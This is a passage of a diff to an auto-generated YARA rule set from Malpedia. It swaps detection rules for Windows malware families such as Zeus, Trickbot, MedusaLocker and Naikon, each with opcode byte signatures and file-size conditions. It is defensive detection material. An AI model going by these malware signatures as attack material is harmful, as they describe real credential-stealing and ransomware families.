+		$sequence_6 = { 66ab aa c685f0fcffff00 b940000000 33c0 8dbdf1fcffff }
+		$sequence_7 = { 50 8b4df0 51 e8???????? c745fcffffffff 8d4d08 e8???????? }
+		$sequence_8 = { 8dbdfdfeffff f3ab 66ab aa c685f0fcffff00 b940000000 }
+		$sequence_9 = { 8955e4 8b45ec 50 8b4de4 51 6aff }
 
 	condition:
-		7 of them and filesize <1875968
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Godzilla_Loader_Auto : FILE
+rule MALPEDIA_Win_Naikon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0aa53e21-de31-5ee8-9359-dc9a54a6a8e0"
+		id = "2b0fa492-57d4-5b88-95d9-a0b325c3a81c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.godzilla_loader_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.naikon_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "2d34f8359c26dd7b822a9bcedc09c50858c69dbe831cef14ec0430298405abb3"
+		logic_hash = "10ad96daf91bea73d71b90a544491c018eb03e29efd792a88809f482c814e2f1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142373,32 +149235,32 @@ rule MALPEDIA_Win_Godzilla_Loader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 a5 ff512c 85c0 756c }
-		$sequence_1 = { a5 50 a5 ff512c 85c0 756c }
-		$sequence_2 = { 7406 8b08 50 ff511c }
-		$sequence_3 = { a5 ff512c 85c0 756c }
-		$sequence_4 = { 6a00 8bf8 8d45fc 50 57 6a01 56 }
-		$sequence_5 = { 51 56 57 ff7508 ff15???????? 8bf0 56 }
-		$sequence_6 = { 52 50 ff91f0000000 85c0 7813 }
-		$sequence_7 = { 6a00 6a00 8bf8 8d45fc 50 57 }
-		$sequence_8 = { 57 6a01 56 ff7508 8975fc }
-		$sequence_9 = { 8b08 50 ff11 85c0 7527 }
+		$sequence_0 = { 881c08 8d4405c9 50 e8???????? 59 8b4d0c 8901 }
+		$sequence_1 = { 8d85f8feffff 68???????? 50 e8???????? 8b3d???????? 83c418 8d85a8fcffff }
+		$sequence_2 = { ff750c c745f002000000 897dec c745e401000000 57 897de0 ff7508 }
+		$sequence_3 = { 53 50 8d85f4fffdff 56 50 ff35???????? }
+		$sequence_4 = { 83c418 57 50 8d8528ffffff 50 ffb690000000 e8???????? }
+		$sequence_5 = { 6a10 57 681cc10000 897df4 ff750c c745f002000000 }
+		$sequence_6 = { 53 53 8b4010 8d4d0c }
+		$sequence_7 = { e8???????? 83c40c 837df400 7408 ff75f4 e8???????? }
+		$sequence_8 = { 83c41c 33c0 808405dcf9fffffb 40 }
+		$sequence_9 = { 6a01 ff35???????? ff15???????? 8bd8 8b4508 46 6a00 }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Ahtapot_Auto : FILE
+rule MALPEDIA_Win_Fengine_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b3228dcd-5cf8-5afe-a611-92ad75d7ce7a"
+		id = "c3f38b1d-0317-5325-80d6-6bc13a77b878"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ahtapot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ahtapot_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fengine"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fengine_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "69c00171f493e14b569002ab8197f5ff4c272ce4e4b6b3103d5b52b14a5be8a4"
+		logic_hash = "04b59b3b4a1631576dab348f5698f6f17211f788439d858316727821c2f4b921"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142412,32 +149274,32 @@ rule MALPEDIA_Win_Ahtapot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 80e17f 3008 8b06 8bc8 c1f905 8b0c8dc0f24200 83e01f }
-		$sequence_1 = { c686c312000001 e9???????? 6a00 6a00 56 68???????? 6a00 }
-		$sequence_2 = { 740b 8d85f0fdffff e8???????? 56 8d95f0fdffff 68???????? 52 }
-		$sequence_3 = { 8d95f0fdffff 52 ff15???????? 83f8ff 0f8585000000 8d837c060000 50 }
-		$sequence_4 = { 8d8e6c020000 51 8d95acf1ffff 68???????? }
-		$sequence_5 = { 8d3c85c0f24200 8bf3 83e61f c1e606 8b07 0fbe440604 83e001 }
-		$sequence_6 = { 8b958cf3ffff 8b8578f3ffff 8d8da8f3ffff 51 52 68???????? }
-		$sequence_7 = { 8b5df0 8bf0 8b45ec 8d140b 52 50 56 }
-		$sequence_8 = { 83c404 8b1d???????? 8d95bcf9ffff 52 ffd3 8b859cf1ffff }
-		$sequence_9 = { e8???????? 68???????? 8d55ec 52 8975f8 897dfc c745ec20a04200 }
+		$sequence_0 = { 72e2 8b5c2414 8d842490000000 50 }
+		$sequence_1 = { 833cfd4010410000 755b 6a18 e8???????? 59 }
+		$sequence_2 = { 50 ff15???????? 68???????? 8d85fcf7ffff 6800080000 }
+		$sequence_3 = { 7405 352083b8ed 46 3bf7 0f825fffffff 5f }
+		$sequence_4 = { c1e81e 83e001 83e101 8d0c48 8bc6 }
+		$sequence_5 = { 53 8d4e04 6800080000 51 }
+		$sequence_6 = { 56 e8???????? 8b8de4feffff 8b95e0feffff 8b413c 03c6 8bb5dcfeffff }
+		$sequence_7 = { 83c408 85c0 750f c705????????03000000 e9???????? ffb5bcfaffff }
+		$sequence_8 = { eb23 8b9d2ce5ffff 8a02 8b0c9d60514100 }
+		$sequence_9 = { 83e31f c1e306 8b048560514100 0fbe441804 83e001 }
 
 	condition:
-		7 of them and filesize <430080
+		7 of them and filesize <210944
 }
-rule MALPEDIA_Win_Grateful_Pos_Auto : FILE
+rule MALPEDIA_Win_Medusalocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "142dbaaf-bae9-512b-8e1e-de26b0ad1d45"
+		id = "ffdd3261-a5ad-520b-a2bf-3c67ba3f2e25"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grateful_pos_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.medusalocker_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "bd00e16b742e3f98f3581779e2ac022b9c7b51a75c5cf9f592cacfe60dca60a5"
+		logic_hash = "1d388adf94671d416a3d4bdcd878fd62d77b06e7650d468b56f2c1b04655aed4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142451,40 +149313,34 @@ rule MALPEDIA_Win_Grateful_Pos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb07 b8fcffffff eb02 33c0 }
-		$sequence_1 = { 7407 b8f6ffffff eb02 33c0 }
-		$sequence_2 = { e8???????? 99 b980ee3600 f7f9 }
-		$sequence_3 = { 7411 e8???????? e8???????? 33c0 e9???????? }
-		$sequence_4 = { e8???????? 83f801 7510 e8???????? e8???????? }
-		$sequence_5 = { eb1a b8fdffffff eb13 b8fcffffff }
-		$sequence_6 = { 8bb5f4fffdff 03b5f8fffdff c1ee03 8b4508 8b7810 }
-		$sequence_7 = { 6810040000 ff15???????? 8985f4fbffff 83bdf4fbffff00 0f8488010000 8a0d???????? }
-		$sequence_8 = { 83fa7b 750a 6a01 e8???????? }
-		$sequence_9 = { 8b4dfc 894110 8b550c 8b420c c1e803 50 }
-		$sequence_10 = { c745fcffffffff 8d45f4 64a300000000 c3 6a03 e8???????? 59 }
-		$sequence_11 = { 7c62 8b8df8fffdff 0fb6940dfefffdff 83fa3a 7d4f 8b85f8fffdff }
-		$sequence_12 = { 6bc02a 05???????? 50 e8???????? 83c40c 85c0 7509 }
-		$sequence_13 = { 85c0 0f84b2000000 6a03 68???????? 8b8de0fbffff 83e90e }
-		$sequence_14 = { 8884248e010000 b801000000 486bc03f 488d0d79e50100 0fbe0401 83f04d 8884248f010000 }
-		$sequence_15 = { 488bcd 418bd7 e8???????? 33c9 85c0 0f85bb010000 4c8d35ee481900 }
+		$sequence_0 = { e8???????? 8945e8 eb07 c745e800000000 8b4de8 894de4 c645fc02 }
+		$sequence_1 = { 8b4dd4 e8???????? 83c048 50 8d55d8 }
+		$sequence_2 = { e8???????? 33c0 8845bb c745c488020000 6888020000 e8???????? 83c404 }
+		$sequence_3 = { 83c404 8b08 51 e8???????? 83c410 }
+		$sequence_4 = { 8845d7 8b4d08 e8???????? 0fb6c8 85c9 0f85f6000000 8b5508 }
+		$sequence_5 = { 8d45e8 50 8b4d0c 51 e8???????? 83c404 50 }
+		$sequence_6 = { 33c0 8945e8 668945ec b902000000 6bd100 668b450c }
+		$sequence_7 = { 894508 8b4d08 3b4d0c 7427 8b5508 }
+		$sequence_8 = { 8965d8 8b45e4 83c00c 50 e8???????? e8???????? 8b4de4 }
+		$sequence_9 = { 8b55e0 52 6a01 8b4df0 e8???????? c645fc03 8d8d38ffffff }
 
 	condition:
-		7 of them and filesize <3964928
+		7 of them and filesize <1433600
 }
-rule MALPEDIA_Win_Unidentified_001_Auto : FILE
+rule MALPEDIA_Win_Zeus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7c85316d-7785-5af3-87a9-b2590753f62d"
+		id = "7fc58452-b8ed-5f5d-9c4b-1944a46dd13e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_001_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_auto.yar#L1-L231"
 		license_url = "N/A"
-		logic_hash = "4757a1bf889ab5e180c54dba6f09c40c0355df630267d0efd95e630d6757bdc3"
+		logic_hash = "9dc359b19db229cc8d91a3a8afe15f58c5fe776d823ff66891a661f0a8422765"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -142496,34 +149352,48 @@ rule MALPEDIA_Win_Unidentified_001_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6830750000 ffd6 8b4df8 85c9 7483 8d45fc }
-		$sequence_1 = { fec1 88143e 3a4801 72e6 5f 5e 5d }
-		$sequence_2 = { 2bc6 0f8421fdffff 2df2020000 0f8478fbffff 2d13030000 }
-		$sequence_3 = { b952555300 3bc1 7767 74d3 }
-		$sequence_4 = { 8bf1 8b06 57 56 ff5048 8bf8 85ff }
-		$sequence_5 = { ff15???????? 50 ff15???????? 8bf0 8975f8 3bf3 }
-		$sequence_6 = { 893d???????? e9???????? c705????????10000000 e9???????? 2d46494e00 7461 48 }
-		$sequence_7 = { 6a04 68???????? 6a07 6800080000 }
-		$sequence_8 = { 8935???????? 8d45cc 50 57 }
-		$sequence_9 = { 50 ff5108 8b45e4 3bc3 5b 7406 }
+		$sequence_0 = { eb58 833f00 7651 8b5f08 }
+		$sequence_1 = { 8b3a 3b7d08 740a 40 }
+		$sequence_2 = { 8d443604 50 a1???????? 57 }
+		$sequence_3 = { 8d442440 50 8d442428 50 0fb64304 }
+		$sequence_4 = { 8d442448 50 ff15???????? 0fb744244e }
+		$sequence_5 = { 8d4c3110 81f90000a000 7715 8918 c7400400000200 89780c }
+		$sequence_6 = { 8918 c7400400000200 89780c ff4208 890a c645ff01 }
+		$sequence_7 = { 8d442460 50 e8???????? 8b4508 }
+		$sequence_8 = { e8???????? 84c0 7442 6a10 }
+		$sequence_9 = { 891d???????? 891d???????? ffd6 68???????? }
+		$sequence_10 = { 8bf3 6810270000 ff35???????? ff15???????? }
+		$sequence_11 = { 8d8db0fdffff e8???????? 8ad8 84db }
+		$sequence_12 = { 8ac3 5b c20800 55 8bec 83e4f8 }
+		$sequence_13 = { c9 c20400 55 8bec f6451802 }
+		$sequence_14 = { 56 ff15???????? 5e 8ac3 5b c20800 }
+		$sequence_15 = { 84c0 0f84ac000000 b809080002 3945f4 7713 807d0801 0f8598000000 }
+		$sequence_16 = { 0f86e3000000 8b03 3509080002 3d5c5b4550 740b 3d59495351 }
+		$sequence_17 = { c745f809080002 e8???????? 8ad8 f6450c04 7473 }
+		$sequence_18 = { 807b0244 7429 83fe04 0f82ec000000 8b1b 81f309080002 81fb5d515047 }
+		$sequence_19 = { ff35???????? e8???????? 5f 5e 8ac3 }
+		$sequence_20 = { 8d470c 50 c707000e0000 c7470809080002 }
+		$sequence_21 = { b8d5000000 e8???????? 68e6010000 68???????? 6809080002 8bc6 50 }
+		$sequence_22 = { 81fb5d515047 7410 81fb4f4d4156 7408 81fb59495354 7506 b364 }
+		$sequence_23 = { 81fb59495354 7506 b364 6a14 eb18 81fb5a5c4156 740c }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <319488
 }
-rule MALPEDIA_Win_Havex_Rat_Auto : FILE
+rule MALPEDIA_Win_Trickbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cb4848d9-dd93-5427-b320-640a482386ab"
+		id = "7ca88b89-dbe0-5ca7-acaa-87de79bf1962"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.havex_rat_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.trickbot_auto.yar#L1-L637"
 		license_url = "N/A"
-		logic_hash = "fa73eedcf8aaa6cbc56ae3cdeefa1daf5290fc7704b83fa7deffe1125fde8d25"
+		logic_hash = "e3adabeebcd43d3e3c9deb0d5c4eb46cb018beaf463780980939f5dd81bffcd5"
 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -142535,32 +149405,99 @@ rule MALPEDIA_Win_Havex_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 134304 8937 ebd8 8917 c74704ffffff7f 8bc7 5e }
-		$sequence_1 = { 0fb7c0 b9ffff0000 663bc8 7576 834dec04 33f6 3975ec }
-		$sequence_2 = { e8???????? 8bcf c745dcac230510 e8???????? e8???????? c20400 6a30 }
-		$sequence_3 = { 297d78 c78580000000feffffff 29bd80000000 8d4417ff 660fb67801 66c1e908 66c1e708 }
-		$sequence_4 = { 56 8d8550feffff e8???????? ff757c 8d8550feffff ff7574 }
-		$sequence_5 = { 8b7d08 59 59 3bc3 7404 8938 eb02 }
-		$sequence_6 = { 84c0 0f854bffffff 33f6 e9???????? 8bb5c8fdffff e9???????? 55 }
-		$sequence_7 = { 740a 6683f85c 0f858e000000 83c8ff 5f 5e 5b }
-		$sequence_8 = { 68???????? 8d4c2414 e8???????? 8d442410 50 8d4c2430 897c2464 }
-		$sequence_9 = { 5b c9 c3 55 8bec 8b4614 83ec10 }
+		$sequence_0 = { 83c002 eb0d 2500000080 f7d8 1bc0 83e007 40 }
+		$sequence_1 = { 1bc0 83e020 83c020 eb36 }
+		$sequence_2 = { eb36 2500000080 f7d8 1bc0 83e070 83c010 }
+		$sequence_3 = { f7d8 1bc0 83e002 83c002 eb0d }
+		$sequence_4 = { 83e070 83c010 eb25 a900000040 7411 2500000080 }
+		$sequence_5 = { 7429 a900000040 7411 2500000080 f7d8 1bc0 83e020 }
+		$sequence_6 = { 8b07 a900000020 7429 a900000040 }
+		$sequence_7 = { c705????????fdffffff c705????????feffffff c705????????ffffffff e8???????? }
+		$sequence_8 = { 895df4 895dec 66c745f00005 895dfc }
+		$sequence_9 = { 33ff 57 6880000000 6a02 57 6a01 68000000c0 }
+		$sequence_10 = { 41 83c028 3bce 7ce9 }
+		$sequence_11 = { 488b01 4c8b4120 488b5118 488b4910 }
+		$sequence_12 = { 53 6a03 53 6a01 6800010000 }
+		$sequence_13 = { 4889442428 488b4130 488b4910 4889442420 41ffd2 }
+		$sequence_14 = { 488b01 488b5118 488b4910 ffd0 }
+		$sequence_15 = { 4c8b4928 4c8b4120 488b5118 4889442438 488b4140 }
+		$sequence_16 = { 488b4148 4c8b11 4c8b4928 4c8b4120 }
+		$sequence_17 = { 4889442430 488b4138 4889442428 488b4130 }
+		$sequence_18 = { 488b5118 4889442440 488b4148 4889442438 488b4140 }
+		$sequence_19 = { 4889442438 488b4140 4889442430 488b4138 }
+		$sequence_20 = { 6820bf0200 68905f0100 68905f0100 50 ff15???????? }
+		$sequence_21 = { 2bc2 d1e8 03c2 c1e806 6bc05f }
+		$sequence_22 = { 83780400 7404 8b4008 c3 }
+		$sequence_23 = { 51 68e9fd0000 50 e8???????? }
+		$sequence_24 = { 6a40 6800300000 6a70 6a00 }
+		$sequence_25 = { 833800 751c 83781000 7516 }
+		$sequence_26 = { c3 6a01 ff15???????? 50 }
+		$sequence_27 = { 8b01 59 03d0 52 }
+		$sequence_28 = { 85c0 7f0b e8???????? 8b05???????? }
+		$sequence_29 = { 03d0 52 ebdc 89450c }
+		$sequence_30 = { 8bc1 66ad 85c0 741c }
+		$sequence_31 = { e8???????? 83f801 7411 ba0a000000 }
+		$sequence_32 = { 85c0 741c 3bc1 7213 }
+		$sequence_33 = { 7405 e8???????? ff15???????? 8bc3 }
+		$sequence_34 = { c1e102 2bc1 8b00 894508 }
+		$sequence_35 = { 50 8b450c ff4d0c ba28000000 }
+		$sequence_36 = { 895510 8b4a04 ff5508 8b5510 8b4a0c }
+		$sequence_37 = { 2bc1 8b00 3bc7 72f2 }
+		$sequence_38 = { 8b4a04 ff5508 50 51 }
+		$sequence_39 = { ff4d0c ba28000000 f7e2 8d9500040000 03d0 895510 }
+		$sequence_40 = { 740f 8bc8 e8???????? 8bc3 }
+		$sequence_41 = { 58 41 41 41 41 }
+		$sequence_42 = { 8bcf e8???????? 8bf0 85ed }
+		$sequence_43 = { 85c0 7911 8bc8 e8???????? bb11000000 }
+		$sequence_44 = { e8???????? 85c0 7507 e8???????? eb5b }
+		$sequence_45 = { 89742428 c744242000001f00 ff15???????? 85c0 7911 }
+		$sequence_46 = { 7c22 3c39 7f1e 0fbec0 }
+		$sequence_47 = { 3bd1 0f8293000000 038e8c000000 3bd1 0f8385000000 }
+		$sequence_48 = { ffc1 663938 75f5 6603c9 }
+		$sequence_49 = { ff15???????? 8bf0 c1ee1f 83f601 }
+		$sequence_50 = { 85d2 745b 3bd1 0f8293000000 }
+		$sequence_51 = { 41 50 2bc1 8b00 }
+		$sequence_52 = { 8bc8 33c0 85c9 0f95c0 eb02 }
+		$sequence_53 = { 894504 68f0ff0000 59 8bf7 8bd7 }
+		$sequence_54 = { 8bc7 e8???????? 85c0 0f849f000000 }
+		$sequence_55 = { 8bf7 8bd7 fc 8bc1 }
+		$sequence_56 = { 59 50 e2fd 8bc7 }
+		$sequence_57 = { 8dbf00500310 8bd6 897d08 3bc8 }
+		$sequence_58 = { 6a00 ff15???????? 6a00 6a00 6a00 8d45dc }
+		$sequence_59 = { 8b7d10 2bf9 53 50 }
+		$sequence_60 = { 83c001 8945d4 8b4dfc 51 8b55d4 }
+		$sequence_61 = { 8b4dd0 894dd8 837dd840 760b 8b55d8 }
+		$sequence_62 = { 8d3c0e 2b75f8 33c7 2bd0 ff4dfc 75ba 8b4508 }
+		$sequence_63 = { 42 42 3b5508 7202 8bd6 83c104 }
+		$sequence_64 = { bf31e7bf31 e7bf 31e7 bf31e7bf31 e7bf }
+		$sequence_65 = { 8b01 3302 52 8bd0 51 03cf 51 }
+		$sequence_66 = { 56 57 33f6 bf???????? 833cf594f3000101 }
+		$sequence_67 = { 8945cc ebee 8b45d8 48 50 8b45cc 40 }
+		$sequence_68 = { ff75f8 ff15???????? 8945fc 837dfc00 750d }
+		$sequence_69 = { 6a00 6858020000 ff15???????? 837dfc00 74ce }
+		$sequence_70 = { e8???????? 03c6 50 e8???????? 8b7710 83c40c 2bf3 }
+		$sequence_71 = { 55 8bec 83ec34 c745cc00000000 6a00 685b020000 6a00 }
+		$sequence_72 = { 42 42 8b01 83c202 33c3 890439 }
+		$sequence_73 = { 8945e4 3bc6 7305 8b750c }
+		$sequence_74 = { 9c 000f 9c 000f 9c f7a053f7a053 }
+		$sequence_75 = { 8bec e8???????? 8b4d08 e8???????? 5d c20400 }
+		$sequence_76 = { c705????????ad380001 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 }
 
 	condition:
-		7 of them and filesize <892928
+		7 of them and filesize <712704
 }
-rule MALPEDIA_Win_Nimgrabber_Auto : FILE
+rule MALPEDIA_Win_Polyglotduke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3ff9ecdf-434a-5531-ae47-14063d732bcc"
+		id = "afe4cb05-aa94-5225-84e8-b6489c3e26d1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nimgrabber_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.polyglotduke_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "d88020b2287429253ba602c12d16ae36bc236c828c7e32d50b3c884fb53a1e20"
+		logic_hash = "37a5b9867f5de08a35688f7a9273792487d4c60d613dec2d499a53b9323d3f00"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142574,32 +149511,32 @@ rule MALPEDIA_Win_Nimgrabber_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8fa7000000 c7819814000000400000 b800400000 c744240c04000000 c744240800300000 39c7 0f8fd0010000 }
-		$sequence_1 = { 8b842490000000 83c004 89442430 0f80de2e0000 8b8424d8000000 8b00 39442430 }
-		$sequence_2 = { c705????????b83b4800 c705????????20000000 c705????????02000000 c705????????00254800 668915???????? c605????????01 c705????????00000000 }
-		$sequence_3 = { 8d4710 8d5f08 be???????? b90b000000 c743042b000000 c747082b000000 89c7 }
-		$sequence_4 = { c1f80c 89442418 89e8 0fb6c0 8d0483 8944241c 8b8084100000 }
-		$sequence_5 = { 7f0d b9???????? e8???????? 8b4514 83e801 0f8067160000 894514 }
-		$sequence_6 = { c70424???????? 894c2474 89542404 e8???????? 8b4c2474 31c0 894b04 }
-		$sequence_7 = { 8b6f04 81fd0000003f 7e28 c704240000003f 89fa 89f1 e8???????? }
-		$sequence_8 = { 89f9 e8???????? 8b4c2454 89da e8???????? 8b07 }
-		$sequence_9 = { 740a 8b0b 85c9 0f88a6020000 e8???????? 31ed 89442430 }
+		$sequence_0 = { e8???????? 488b5608 448bc7 488bc8 488bd8 e8???????? }
+		$sequence_1 = { 0fb7f9 492bf3 498bcb 33d2 33c0 }
+		$sequence_2 = { 48895c2408 57 4883ec20 488bfa 488bd9 488d0595970000 488981a0000000 }
+		$sequence_3 = { 4c8be8 e8???????? 488d0d88120100 e8???????? 488d4c2430 8bd3 4c8bc0 }
+		$sequence_4 = { 488be8 498bcc e8???????? 488bcf e8???????? }
+		$sequence_5 = { 48894518 e8???????? 488d0dbae30000 48894520 e8???????? 488d0daee30000 }
+		$sequence_6 = { 42392c3e 0f849bfaffff 428b143e 4a8d4c3e04 e8???????? 488d0dec0c0100 ba10000000 }
+		$sequence_7 = { e8???????? b8cdcccccc f7e5 c1ea02 8d0492 2be8 }
+		$sequence_8 = { 99 f77c2428 4863c2 410fb70c46 488b442440 4533f6 66894c4450 }
+		$sequence_9 = { 488bf1 8d4301 ba02000000 498be8 }
 
 	condition:
-		7 of them and filesize <1238016
+		7 of them and filesize <222784
 }
-rule MALPEDIA_Win_Hopscotch_Auto : FILE
+rule MALPEDIA_Win_Rombertik_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dd6bd925-f81a-5efa-b164-a58190829fd7"
+		id = "b8dc9071-13ab-5355-92f1-2480db82efe0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hopscotch"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hopscotch_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rombertik_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "1aacad185595691b5a0f903be6e5a023d3d5227283438abf4c811f89adcac931"
+		logic_hash = "c93757fb5684dd7302fa22ed1f1f21c4fae8e9b1525dbcd58ab0d5e9fecbc821"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -142613,32 +149550,32 @@ rule MALPEDIA_Win_Hopscotch_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b1d???????? 8d8c24a4010000 6a00 6a00 6a03 6a00 }
-		$sequence_1 = { 5b 81c400010000 c3 8b8c2410010000 51 57 }
-		$sequence_2 = { ffd7 56 53 8d4c2414 6a08 51 e8???????? }
-		$sequence_3 = { ffd7 85c0 753c 8b35???????? ffd6 83f802 742f }
-		$sequence_4 = { 7554 33f6 89b5dcfeffff 8b3d???????? 83fe05 7332 }
-		$sequence_5 = { 81ec80090000 53 56 57 68???????? e8???????? }
-		$sequence_6 = { 68???????? e8???????? 83c408 8d9424a8020000 }
-		$sequence_7 = { 56 57 ff15???????? 85c0 7514 8d442414 }
-		$sequence_8 = { c7442400ffffffff 50 c7442408ffffffff e8???????? 83c404 8d4c2400 }
-		$sequence_9 = { 8b3d???????? 83c408 8d442408 50 ffd7 }
+		$sequence_0 = { 8945f4 3bc1 0f8271ffffff 5f 5e }
+		$sequence_1 = { 8bff 8b4104 85c0 7446 83c0f8 33ff }
+		$sequence_2 = { 8bcf e8???????? 50 8d8dfcfeffff }
+		$sequence_3 = { 47 41 3bfb 72be 8b5df0 }
+		$sequence_4 = { 50 ff15???????? 8bf8 85ff 0f8488000000 }
+		$sequence_5 = { 33db 57 895df8 ff15???????? 85c0 }
+		$sequence_6 = { 8b5d0c 85db 0f84cb000000 837d1400 0f84c1000000 817d18a00f0000 0f87b4000000 }
+		$sequence_7 = { 50 8bc2 50 8d8decfeffff 51 ffd6 }
+		$sequence_8 = { 895dfc 85db 0f84d8000000 85ff }
+		$sequence_9 = { 6a03 6a00 6a02 68000000c0 68???????? ff15???????? 8906 }
 
 	condition:
-		7 of them and filesize <1143808
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Doublepulsar_Auto : FILE
+rule MALPEDIA_Win_Covid22_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e4212e3d-0371-55d3-984d-e0909a78bc0f"
+		id = "c5fffc59-fc04-58e5-a2b5-2bc6fea3300e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doublepulsar_auto.yar#L1-L175"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.covid22_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "dd8758cb2c036e196362248313c65a128ef51c3148638e90157034cf0392e7be"
